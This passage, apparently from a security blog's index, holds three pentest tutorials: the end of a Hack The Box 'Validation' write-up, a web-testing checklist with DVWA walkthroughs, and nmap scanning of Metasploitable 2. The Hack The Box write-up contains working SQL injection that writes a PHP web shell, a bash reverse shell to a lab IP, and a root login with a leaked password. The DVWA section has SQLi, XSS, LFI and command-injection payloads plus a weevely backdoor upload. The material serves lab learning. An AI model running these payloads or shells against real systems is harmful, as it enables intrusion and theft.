params being sent: username and country:\nCountry parameter is prone to 2nd order SQLi. If you pass country’ in the account.php page you will see an error:\nIt means that the malicious country parameter is saved into DB and later used in other SQL query.\nNow we can upload a webshell using SQLi as our user has FILE permission in the DB. Use the following SQL statement to create a web shell: username=test3\u0026amp;country=Aruba' UNION SELECT \u0026quot;\u0026lt;?php SYSTEM($_REQUEST['cmd']) ?\u0026gt;\u0026quot; INTO OUTFILE \u0026quot;/var/www/html/myshell.php\u0026quot;-- -:\nNow if you open http://10.10.11.116/myshell.php?cmd=id you should see:\ntest1 uid=33(www-data) gid=33(www-data) groups=33(www-data) Now we should establish a reverse shell. Start nc listener on your local machine:\nvladimir@comp:~$ nc -nlvp 9090 Listening on [0.0.0.0] (family 0, port 9090) Establish a reverse session using web shell: http://10.10.11.116/myshell.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.14.60/9090+0%3E%261%27\nYou should get a back connection:\nvladimir@comp:~$ nc -nlvp 9090 Listening on [0.0.0.0] (family 0, port 9090) Connection from 10.10.11.116 44456 received! bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@validation:/var/www/html$ In the /var/www/html you can find a config.php file with password. This password can also be used for root user:\nwww-data@validation:/var/www/html$ cat config.php cat config.php \u0026lt;?php $servername = \u0026#34;127.0.0.1\u0026#34;; $username = \u0026#34;uhc\u0026#34;; $password = \u0026#34;uhc-9qual-global-pw\u0026#34;; $dbname = \u0026#34;registration\u0026#34;; $conn = new mysqli($servername, $username, $password, $dbname); ?\u0026gt; www-data@validation:/var/www/html$ su --login root su --login root Password: uhc-9qual-global-pw id uid=0(root) gid=0(root) groups=0(root) ","permalink":"https://www.ryzhak.com/htb-validation-writeup/","summary":"In this tutorial we will get root access for the \u003ccode\u003eValidation\u003c/code\u003e machine from \u003ccode\u003eHack The Box\u003c/code\u003e.","title":"HTB Validation writeup"},{"content":"In this tutorial we’re going to define base steps for web penetration testing and find vulnerabilities in DVWA.\nFinding hidden content At this stage you should know what web technologies are used on the target website based on your previous network research.\nWhat you should be looking for:\nFile robots.txt Backup files: .back, .bak etc… Other files: .pdf, .docx, etc… Admin urls: admin, myadmin, etc… If you find any of the above files or folders then check its contents for private information.\nBurp Suite is a good choice for this task. You should select Target =\u0026gt; Engagement tools =\u0026gt; Discover content.\nCommon workflow Enable Burp Proxy and manually browse all the pages of the target web app and inspect all requests/responses. Crawl website using Burp Scan task. Crawl website using Burp Content Discovery. For each page found do the following. Send each request to Burp Scanner for automatic scanning. If this is a special page (login, registration, restore/change password, upload page) then proceed with the special page checklist(for example for login page you can try brute force or default credentials). After that proceed with the common page checklist. If the page is not special then proceed with the common page checklist(ex: sqli, xss, etc\u0026hellip;). Gather all issues and create a report. Common page checklist Find all parameters processed by the backend. Check URLs for query params, headers, HTML inputs. Check all APIs called on the web page. Check if plain http mode works. Check if error messages reveal sensitive information. Check for application logic issues. (100% discount, 0$ item, etc\u0026hellip;) Check if a web page can be accessed without authentication. Check if APIs and web page resources can be accessed without authentication. Check if a user with a different set of permissions has access to the admin page or APIs. Check for header security best practices:\n- X-frame-options: can the website be rendered inside iframe, frame, embed or object tags.\n- X-content-type-options: forces Content-Type headers to be followed.\n- Strict-transport-security: forces web browsers to use https.\n- Content-security-policy: specifies what app resources are allowed.\n- X-XSS-protection:1;mode=block: stop web page load when XSS is detected. Check cookie/session id for randomness. Try to brute-force the cookie/session id. Check that a new session is generated on each login. Try to decode cookie/session id. Try to manipulate cookies. (ex: isSuperUser=1) Find out session duration. Check the client source code(HTML and JS) for: comments, debug info, logic issues, hidden inputs, disabled inputs. Search for user id and try to brute-force it. Check if you can access other user’s data within your current session. Check for CSRF. Check that the server validates all inputs. Check for SQLi. Check for XSS. Check for command injection. Check for LFI. Check for RFI. Special page checklist Login page Check for default credentials. Try to brute-force credentials. Check if DOS can be accomplished when the account is temporarily blocked after a few failed logins. Is there a “remember me” feature? Registration page Are weak passwords allowed? If you register with an existing username(email, phone, etc\u0026hellip;), is user enumeration available? Check for weak secret questions(favourite color?). Check if DOS can be accomplished via automating user registration. Reset/change password page Check if you can change the password of another user. Check the password change workflow. Check if a user receives a confirmation email after a password change. What data is required to change the password? How strong are the new or temporary passwords? Check if a user must change the random password after password reset on login. Check if a user must enter his old password during the password change. Upload page Check if you can access the uploaded file via URL. Check if you can see other users’ files. Check if you can upload a web shell. Check if you can upload a backdoor if the web app allows executables to be uploaded. DVWA In this section we’re going to investigate https://github.com/digininja/DVWA and find all vulnerabilities there.\nThe simplest way to install DVWA is using docker command docker run --rm -it -p 80:80 vulnerables/web-dvwa.\nThere are 4 difficulty levels in DVWA:\nLow: no security measures. Medium: security measures implemented in a bad way. High: security measures implemented in almost perfect way. Impossible: secure code. No way to break it. Brute force Click on the Brute Force menu item and intercept a login request. Send request to Intruder, set username to admin and mark password field to be iterated. Select standard Passwords dictionary for Payload Options and hit Start attack. You should see that the response with a correct password has different content length.\nSo valid credentials are admin:password.\nMedium difficulty adds 2 seconds delay between requests.\nHigh difficulty adds a CSRF token. You can create a custom script that opens the web page in a headless browser and brute forces credentials.\nImpossible level shows error message “Username and/or password incorrect” and blocks account for 15 minutes after 3 failed login attempts.\nCommand injection Open the Command Injection menu. You can see an input where you can ping the machine by ip address. You can enter 127.0.0.1 \u0026amp;\u0026amp; ls to get a list of files in the current folder:\nMedium difficulty hardcoded some symbols but not all of them.\nHigh difficulty blacklisted almost all symbols.\nImpossible difficulty uses whitelisting instead of blacklisting.\nCSRF Open the CSRF menu. Intercept update password request and send it to the repeater. In the context menu select Engagement tools =\u0026gt; Generate CSRF PoC =\u0026gt; Test in browser =\u0026gt; Submit. Password should be updated:\nFor medium difficulty you can use reflected XSS to update a user\u0026rsquo;s password.\nHigh difficulty adds CSRF token so you should use XSS to get the CSRF token and update the user\u0026rsquo;s password.\nImpossible difficulty adds the old password input which fixes the vulnerability.\nFile inclusion Open the File inclusion menu. You can see the following URL: http://localhost:81/vulnerabilities/fi/?page=include.php. This url is vulnerable for LFI(Local File Inclusion). Enter the following URL to get a list of users: http://localhost:81/vulnerabilities/fi/?page=../../../../../etc/passwd:\nThat URL is also vulnerable for RFI(Remote File Inclusion). Enter the following URL http://localhost:81/vulnerabilities/fi/?page=https://google.com to see google page inside web content.\nMedium difficulty blacklists some symbols.\nHigh difficulty allows inclusion only for files starting with file prefix.\nImpossible difficulty uses whitelisting instead of blacklisting.\nFile upload Select the File Upload menu. Generate a reverse shell:\nvladimir@comp:~/Public/program_files/weevely3$ ./weevely.py generate 1234 myfile.php Generated \u0026#39;myfile.php\u0026#39; with password \u0026#39;1234\u0026#39; of 680 byte size. Upload myfile.php via the upload file form. Now try to establish a connection:\nvladimir@comp:~/Public/program_files/weevely3$ ./weevely.py http://localhost:81/hackable/uploads/myfile.php 1234 [+] weevely 4.0.1 [+] Target:\tlocalhost:81 [+] Session:\t/home/vladimir/.weevely/sessions/localhost/myfile_0.session [+] Browse the filesystem or execute commands starts the connection [+] to the target. Type :help for more information. weevely\u0026gt; pwd /var/www/html/hackable/uploads www-data@daff12a89504:/var/www/html/hackable/uploads $ Medium difficulty checks the Content-Type header and allows only images. So you need to intercept the request and set image/jpeg as a content type instead of application/x-php.\nHigh difficulty resizes an image. So you need to rename myfile.php to myfile.jpeg, then add GIF89a; at the beginning of the shell to make the file look like an image, and finally use LFI to execute the shell.\nImpossible difficulty adds loads of security measures.\nInsecure CAPTCHA Open the Insecure CAPTCHA menu. There are 2 requests when sending the form. The 1st one to /vulnerabilities/captcha/ that gets a recaptcha token. And the 2nd to the same URL /vulnerabilities/captcha/ but without the recaptcha token. So you can intercept the request and send only the 2nd one.\nMedium difficulty adds step and passed_captcha params which can also be manipulated.\nHigh difficulty allows special User-Agent header and param g-recaptcha-response to bypass validation. These values are hidden in comments.\nImpossible difficulty adds current password field and sends only 1 request which must contain a valid captcha response.\nSQL injection Select the SQL injection menu. In the input field enter 1’ UNION SELECT user,password from users# to get a list of all users:\nMedium difficulty adds mysql_real_escape_string() sanitization method but SQL injection still works without any quotes. You can also set value of the select input to the following: 1’ UNION SELECT user,password from users#\nHigh difficulty requires user id to be entered on another page but vulnerability still exists with the same payload.\nImpossible difficulty uses parameterized queries.\nSQL injection (blind) Select the Sql Injection (Blind) menu. Enter the following sleep query in the input field: 1' and sleep(5)#. The request should be executed in ~5 seconds.\nMedium difficulty adds select input but we can modify the select input’s value anyway.\nHigh difficulty adds a query to the Cookie header and returns response with a random sleep number so you need to use greater sleep values.\nImpossible difficulty uses parameterized queries.\nWeak session id Select the Weak Session IDs menu. On the Generate button click a new value is assigned to the dvwaSession cookie. On each click this value is increased by 1 so you can predict the next session id.\nMedium difficulty uses unix timestamp as a session id.\nHigh difficulty uses md5 hash to encode a simple number.\nImpossible difficulty hashes a random value and a word “impossible”.\nXSS (DOM) Open the XSS (DOM) menu. Enter the following URL to see that XSS exists: http://localhost:81/vulnerabilities/xss_d/?default=English\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\nMedium difficulty disallows script tag usage but you can still use the img tag: /vulnerabilities/xss_d/?default=English\u0026gt;/option\u0026gt;\u0026lt;/select\u0026gt;\u0026lt;img src='x' onerror='alert(1)'\u0026gt;\nHigh difficulty adds whitelisted values but URL http://localhost:81/vulnerabilities/xss_d/?default=English#\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; still works.\nImpossible difficulty encodes all URL content.\nXSS (reflected) Open the XSS (Reflected) menu. Enter the following string in the input field to see that XSS exists: test\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\nMedium difficulty rejects the script tag but allows sCrIpT.\nHigh difficulty rejects all variations of the script tag but allows the img tag: \u0026lt;img src=\u0026quot;x\u0026quot; onerror=\u0026quot;alert(1)\u0026quot; /\u0026gt;\nImpossible difficulty escapes all characters.\nXSS (stored) Open the XSS (Stored) menu. Enter any value in the name field and \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; in the message field and press Sign Guestbook. Now, on each page load you should see the alert message.\nMedium difficulty adds validation for the message field but not for the name field.\nHigh difficulty removes symbols inside the script tag but allows the img tag.\nImpossible difficulty filters all characters.\nCSP bypass To bypass the Content-Security-Policy header you should upload your script on the server.\nMedium difficulty uses the Content-Security-Policy header with a nonce so we should add this nonce to the loaded script.\nHigh difficulty adds Solve the sum button. On this button press request is sent to the server /vulnerabilities/csp/source/jsonp.php?callback=solveSum. You can change the callback param to your own JS code.\nImpossible level hardcodes the callback function.\nJavascript Open the JavaScript menu. Enter the success message and hit Submit. You will see an error Invalid token.\nIf you inspect the source code you will find the following JS functions:\nfunction rot13(inp) { return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c\u0026lt;=\u0026#34;Z\u0026#34;?90:122)\u0026gt;=(c=c.charCodeAt(0)+13)?c:c-26);}); } function generate_token() { var phrase = document.getElementById(\u0026#34;phrase\u0026#34;).value; document.getElementById(\u0026#34;token\u0026#34;).value = md5(rot13(phrase)); } So the token is calculated as md5 hash from rot13 function. You can generate the token in your terminal echo -n ‘success’ | tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’ | md5sum, intercept the request and replace the token. You should be able to see the “Well done” message.\nMedium difficulty minimizes the code and adds a little bit more complex token calculations.\nHigh difficulty obfuscates the code and adds even more complex token calculations.\nImpossible is absent because client side code can always be inspected.\nReport When all issues are detected it is time to write a report. You can find an example report here https://tcm-sec.com/wp-content/uploads/2021/04/TCMS-Demo-Corp-Security-Assessment-Findings-Report.pdf\n","permalink":"https://www.ryzhak.com/web-penetration-testing/","summary":"In this tutorial we’re going to define base steps for web penetration testing and find vulnerabilities in \u003ca href=\"https://github.com/digininja/DVWA\"\u003eDVWA\u003c/a\u003e.","title":"Web penetration testing"},{"content":"In this tutorial we’re going to identify running services on the target server and try to exploit them.\nTools We will use the following tools:\nhttps://nmap.org/ https://www.openvas.org/ https://www.tenable.com/products/nessus https://www.metasploit.com/ Metasploitable 2 You should download a vulnerable machine from https://sourceforge.net/projects/metasploitable/ . Then you should import it into any VM software, I’ll be using VirtualBox. In the VM settings set network adapter to Bridged Adapter and start the machine. Run ifconfig to get the ip address of your vulnerable machine, in my case it is 192.168.0.106.\nIdentifying live hosts Typically you are given a set of ip addresses and the 1st step is to identify which hosts are live. We are using a single machine so we only have a single ip address.\nRun nmap -sn 192.168.0.106:\nStarting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 10:31 MSK Nmap scan report for 192.168.0.106 Host is up (0.00026s latency). Nmap done: 1 IP address (1 host up) scanned in 0.00 seconds We can see that our target machine is live. When you have a bunch of ip addresses you can scan using a mask, ex: nmap -sn 192.168.0.106/24\nIdentifying open ports Now we should identify open ports and services on those ports.\nRun nmap -sS -sV --script=default --top-ports 1000 --version-all -O --osscan-guess -T4 --open -Pn -v 192.168.0.106 for TCP scan:\nStarting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 10:40 MSK NSE: Loaded 146 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 10:40 Completed NSE at 10:40, 0.00s elapsed Initiating NSE at 10:40 Completed NSE at 10:40, 0.00s elapsed Initiating ARP Ping Scan at 10:40 Scanning 192.168.0.106 [1 port] Completed ARP Ping Scan at 10:40, 0.22s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:40 Completed Parallel DNS resolution of 1 host. at 10:40, 0.00s elapsed Initiating SYN Stealth Scan at 10:40 Scanning 192.168.0.106 [1000 ports] Discovered open port 111/tcp on 192.168.0.106 Discovered open port 3306/tcp on 192.168.0.106 Discovered open port 23/tcp on 192.168.0.106 Discovered open port 5900/tcp on 192.168.0.106 Discovered open port 21/tcp on 192.168.0.106 Discovered open port 445/tcp on 192.168.0.106 Discovered open port 53/tcp on 192.168.0.106 Discovered open port 25/tcp on 192.168.0.106 Discovered open port 22/tcp on 192.168.0.106 Discovered open port 80/tcp on 192.168.0.106 Discovered open port 139/tcp on 192.168.0.106 Discovered open port 1524/tcp on 192.168.0.106 Discovered open port 514/tcp on 192.168.0.106 Discovered open port 2121/tcp on 192.168.0.106 Discovered open port 512/tcp on 192.168.0.106 Discovered open port 6667/tcp on 192.168.0.106 Discovered open port 6000/tcp on 192.168.0.106 Discovered open port 5432/tcp on 192.168.0.106 Discovered open port 8009/tcp on 192.168.0.106 Discovered open port 1099/tcp on 192.168.0.106 Discovered open port 8180/tcp on 192.168.0.106 Discovered open port 2049/tcp on 192.168.0.106 Discovered open port 513/tcp on 192.168.0.106 Completed SYN Stealth Scan at 10:40, 1.27s elapsed (1000 total ports) Initiating Service scan at 10:40 Scanning 23 services on 192.168.0.106 Completed Service scan at 10:40, 11.10s elapsed (23 services on 1 host) Initiating OS detection (try #1) against 192.168.0.106 NSE: Script scanning 192.168.0.106. Initiating NSE at 10:40 NSE: [ftp-bounce] PORT response: 500 Illegal PORT command. Completed NSE at 10:41, 8.89s elapsed Initiating NSE at 10:41 Completed NSE at 10:41, 0.01s elapsed Nmap scan report for 192.168.0.106 Host is up (0.0044s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.0.105 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2010-03-17T14:07:45 | Not valid after: 2010-04-16T14:07:45 | MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 |_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 |_ssl-date: 2021-09-10T07:40:56+00:00; +2s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC4_128_WITH_MD5 |_ SSL2_DES_64_CBC_WITH_MD5 53/tcp open domain ISC BIND 9.4.2 | dns-nsid: |_ bind.version: 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 |_http-title: Metasploitable2 - Linux 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 35945/udp mountd | 100005 1,2,3 41405/tcp mountd | 100021 1,3,4 34319/tcp nlockmgr | 100021 1,3,4 49999/udp nlockmgr | 100024 1 40260/tcp status |_ 100024 1 42186/udp status 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login OpenBSD or Solaris rlogind 514/tcp open tcpwrapped 1099/tcp open java-rmi Java RMI Registry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-info: | Protocol: 10 | Version: 5.0.51a-3ubuntu5 | Thread ID: 24 | Capabilities flags: 43564 | Some Capabilities: Speaks41ProtocolNew, Support41Auth, SupportsTransactions, ConnectWithDatabase, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsCompression | Status: Autocommit |_ Salt: \u0026amp;EjfARW\u0026gt;p=zsQy/|E$}p 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2010-03-17T14:07:45 | Not valid after: 2010-04-16T14:07:45 | MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828 |_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 |_ssl-date: 2021-09-10T07:40:56+00:00; +1s from scanner time. 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ VNC Authentication (2) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd | irc-info: | users: 1 | servers: 1 | lusers: 1 | lservers: 0 | server: irc.Metasploitable.LAN | version: Unreal3.2.8.1. irc.Metasploitable.LAN | uptime: 0 days, 0:38:06 | source ident: nmap | source host: A74A61A3.F0D9233E.FFFA6D49.IP |_ error: Closing Link: apantuudi[192.168.0.105] (Quit: apantuudi) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/5.5 MAC Address: 08:00:27:4F:B5:C2 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 Uptime guess: 0.023 days (since Fri Sep 10 10:07:28 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=199 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 1s, deviation: 0s, median: 0s | nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: \u0026lt;unknown\u0026gt; (unknown) | Names: | METASPLOITABLE\u0026lt;00\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | METASPLOITABLE\u0026lt;03\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | METASPLOITABLE\u0026lt;20\u0026gt; Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt; | WORKGROUP\u0026lt;00\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; |_ WORKGROUP\u0026lt;1e\u0026gt; Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt; | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP\\x00 |_ System time: 2021-09-10T03:40:55-04:00 |_smb2-time: Protocol negotiation failed (SMB2) NSE: Script Post-scanning. Initiating NSE at 10:41 Completed NSE at 10:41, 0.00s elapsed Initiating NSE at 10:41 Completed NSE at 10:41, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.00 seconds Raw packets sent: 1041 (48.284KB) | Rcvd: 1036 (44.012KB) Run nmap -sU --top-ports 100 -Pn -v 192.168.0.106 for UDP scan:\nStarting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 10:58 MSK Initiating ARP Ping Scan at 10:58 Scanning 192.168.0.106 [1 port] Completed ARP Ping Scan at 10:58, 0.23s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:58 Completed Parallel DNS resolution of 1 host. at 10:58, 0.00s elapsed Initiating UDP Scan at 10:58 Scanning 192.168.0.106 [100 ports] Discovered open port 111/udp on 192.168.0.106 Discovered open port 53/udp on 192.168.0.106 Increasing send delay for 192.168.0.106 from 0 to 50 due to max_successful_tryno increase to 4 Increasing send delay for 192.168.0.106 from 50 to 100 due to max_successful_tryno increase to 5 Increasing send delay for 192.168.0.106 from 100 to 200 due to max_successful_tryno increase to 6 Increasing send delay for 192.168.0.106 from 200 to 400 due to max_successful_tryno increase to 7 Increasing send delay for 192.168.0.106 from 400 to 800 due to 11 out of 12 dropped probes since last increase. UDP Scan Timing: About 46.44% done; ETC: 10:59 (0:00:36 remaining) Discovered open port 137/udp on 192.168.0.106 Discovered open port 2049/udp on 192.168.0.106 Completed UDP Scan at 10:59, 104.95s elapsed (100 total ports) Nmap scan report for 192.168.0.106 Host is up (0.00056s latency). Not shown: 93 closed ports PORT STATE SERVICE 53/udp open domain 68/udp open|filtered dhcpc 69/udp open|filtered tftp 111/udp open rpcbind 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 2049/udp open nfs MAC Address: 08:00:27:4F:B5:C2 (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 105.38 seconds Raw packets sent: 225 (8.432KB) | Rcvd: 103 (7.507KB) Now we have extensive information about opened ports, services and OS.\nVulnerability assessment Now we’re going to use different tools in order to automate vulnerability search.\nNmap Nmap has a bunch of scripts for vulnerability assessment.\nVulscan Copy vulscan repository https://github.com/scipag/vulscan to your nmap script’s folder at /usr/share/nmap/scripts. Run nmap -sV --script=vulscan/vulscan.nse 192.168.0.106. You will get a list of ports with related CVEs:\nStarting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 11:30 MSK Nmap scan report for 192.168.0.106 Host is up (0.0098s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 | vulscan: VulDB - https://vuldb.com: | [146452] vsftpd 2.3.4 Service Port 6200 privilege escalation | | MITRE CVE - https://cve.mitre.org: | [CVE-2011-0762] The vsf_filename_passes_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in STAT commands in multiple FTP sessions, a different vulnerability than CVE-2010-2632. | | SecurityFocus - https://www.securityfocus.com/bid/: | [82285] Vsftpd CVE-2004-0042 Remote Security Vulnerability | [72451] vsftpd CVE-2015-1419 Security Bypass Vulnerability | [51013] vsftpd \u0026#39;__tzfile_read()\u0026#39; Function Heap Based Buffer Overflow Vulnerability | [48539] vsftpd Compromised Source Packages Backdoor Vulnerability | [46617] vsftpd FTP Server \u0026#39;ls.c\u0026#39; Remote Denial of Service Vulnerability | [41443] Vsftpd Webmin Module Multiple Unspecified Vulnerabilities | [30364] vsftpd FTP Server Pluggable Authentication Module (PAM) Remote Denial of Service Vulnerability | [29322] vsftpd FTP Server \u0026#39;deny_file\u0026#39; Option Remote Denial of Service Vulnerability | [10394] Vsftpd Listener Denial of Service Vulnerability | [7253] Red Hat Linux 9 vsftpd Compiling Error Weakness | | IBM X-Force - https://exchange.xforce.ibmcloud.com: | [68366] vsftpd package backdoor | [65873] vsftpd vsf_filename_passes_filter denial of service | [55148] VSFTPD-WEBMIN-MODULE unknown unspecified | [43685] vsftpd authentication attempts denial of service | [42593] vsftpd deny_file denial of service | [16222] vsftpd connection denial of service | [14844] vsftpd message allows attacker to obtain username | [11729] Red Hat Linux vsftpd FTP daemon tcp_wrapper could allow an attacker to gain access to server | | Exploit-DB - https://www.exploit-db.com: | [17491] VSFTPD 2.3.4 - Backdoor Command Execution Nmap-vulners Copy nmap-vulners repository https://github.com/vulnersCom/nmap-vulners to your nmap script’s folder at /usr/share/nmap/scripts. Run nmap -sV --script=nmap-vulners/vulners.nse 192.168.0.106. You will again get a list of ports with CVEs:\nStarting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 11:31 MSK Nmap scan report for 192.168.1.106 Host is up (0.34s latency). Not shown: 55 closed ports PORT STATE 21/tcp open ftp ProFTPD 1.3.3e 22/tcp open ssh OpenSSH 5.3p1 Debian 3 ubuntu7.1 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:5.3p1: | CVE-2016-10708 5.0 https://vulners.com/cve/CVE-2016-10708 8 | CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906 | CVE-2018-15473 5.0 https://vulners.com/cve/CVE-2018-15473 |_ CVE-2016-0777 4.0 https://vulners.com/cve/CVE-2016-0777 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND DNS | vulners: | ISC BIND DNS: | CVE-2012-1667 8.5 https://vulners.com/cve/CVE-2012-1667 | CVE-2002-0651 7.5 https://vulners.com/cve/CVE-2002-0651 | CVE-2002-0029 7.5 https://vulners.com/cve/CVE-2002-0029 80/tcp open http nginx 1.4.1 |_http-server-header: nginx/1.4.1 Vuln Nmap has a default vuln script. Run nmap --script=vuln -sV 192.168.0.106 -p 8180 to scan a specific port:\nStarting Nmap 7.60 ( https://nmap.org ) at 2021-09-10 11:50 MSK Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for 192.168.0.106 Host is up (0.00027s latency). PORT STATE SERVICE VERSION 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 | http-cookie-flags: | /admin/: | JSESSIONID: | httponly flag not set | /admin/index.html: | JSESSIONID: | httponly flag not set | /admin/login.html: | JSESSIONID: | httponly flag not set | /admin/admin.html: | JSESSIONID: | httponly flag not set | /admin/account.html: | JSESSIONID: | httponly flag not set | /admin/admin_login.html: | JSESSIONID: | httponly flag not set | /admin/home.html: | JSESSIONID: | httponly flag not set | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.0.106 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.0.106:8180/admin/ | Form id: username | Form action: j_security_check;jsessionid=C9A7258647435573472A9E2B568ACF98 | | Path: http://192.168.0.106:8180/servlets-examples/servlet/CookieExample | Form id: | Form action: CookieExample | | Path: http://192.168.0.106:8180/servlets-examples/servlet/SessionExample | Form id: | Form action: SessionExample;jsessionid=836EEFE0954B6376032984BFD3751EAA | | Path: http://192.168.0.106:8180/servlets-examples/servlet/SessionExample | Form id: | Form action: SessionExample;jsessionid=836EEFE0954B6376032984BFD3751EAA | | Path: http://192.168.0.106:8180/servlets-examples/servlet/RequestParamExample | Form id: |_ Form action: RequestParamExample |_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. | http-enum: | /admin/: Possible admin folder | /admin/index.html: Possible admin folder | /admin/login.html: Possible admin folder | /admin/admin.html: Possible admin folder | /admin/account.html: Possible admin folder | /admin/admin_login.html: Possible admin folder | /admin/home.html: Possible admin folder | /admin/admin-login.html: Possible admin folder | /admin/adminLogin.html: Possible admin folder | /admin/controlpanel.html: Possible admin folder | /admin/cp.html: Possible admin folder | /admin/index.jsp: Possible admin folder | /admin/login.jsp: Possible admin folder | 